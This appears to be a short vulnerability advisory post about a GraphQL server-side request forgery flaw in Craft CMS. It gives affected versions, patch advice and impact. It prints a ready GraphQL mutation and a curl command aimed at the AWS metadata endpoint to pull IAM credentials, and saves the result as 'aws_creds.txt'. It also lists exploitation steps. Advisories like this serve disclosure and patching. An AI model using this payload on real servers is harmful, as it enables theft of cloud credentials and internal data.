Listen to this Post
The vulnerability exists within the `save_file_get_contents(), which retrieves data from the specified location. This allows an attacker to set the `url` to target internal, non-public services (e.g., http://127.0.0.1:80`,http://169.254.169.254/latest/meta-data/`). The server blindly fetches the response from this arbitrary address. The retrieved content is then saved as a new asset file within the Craft volume. Since assets are accessible via the CMS, the attacker can later view or download this file, successfully exfiltrating sensitive data from internal networks or cloud metadata services.
Platform: Craft CMS
Version: <5.8.21, <4.16.17
Vulnerability : GraphQL SSRF
Severity: Critical
date: 2025-12-04
Prediction: 2025-12-04 Patched
What Undercode Say:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
mutation {
save_documents_Asset(_file: {
url: "http://169.254.169.254/latest/meta-data/"
filename: "aws_creds.txt"
}) {
id
}
}
How Exploit:
1. Attacker with asset permissions crafts GraphQL mutation.
2. Mutation uses `_file.url` pointing to internal endpoint.
3. Server fetches and saves response as asset.
- Attacker accesses the saved asset to retrieve data.
Protection from this CVE:
Update to Craft CMS 5.8.21 or 4.16.17.
Impact:
Internal network access.
Cloud metadata compromise.
Data exfiltration.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
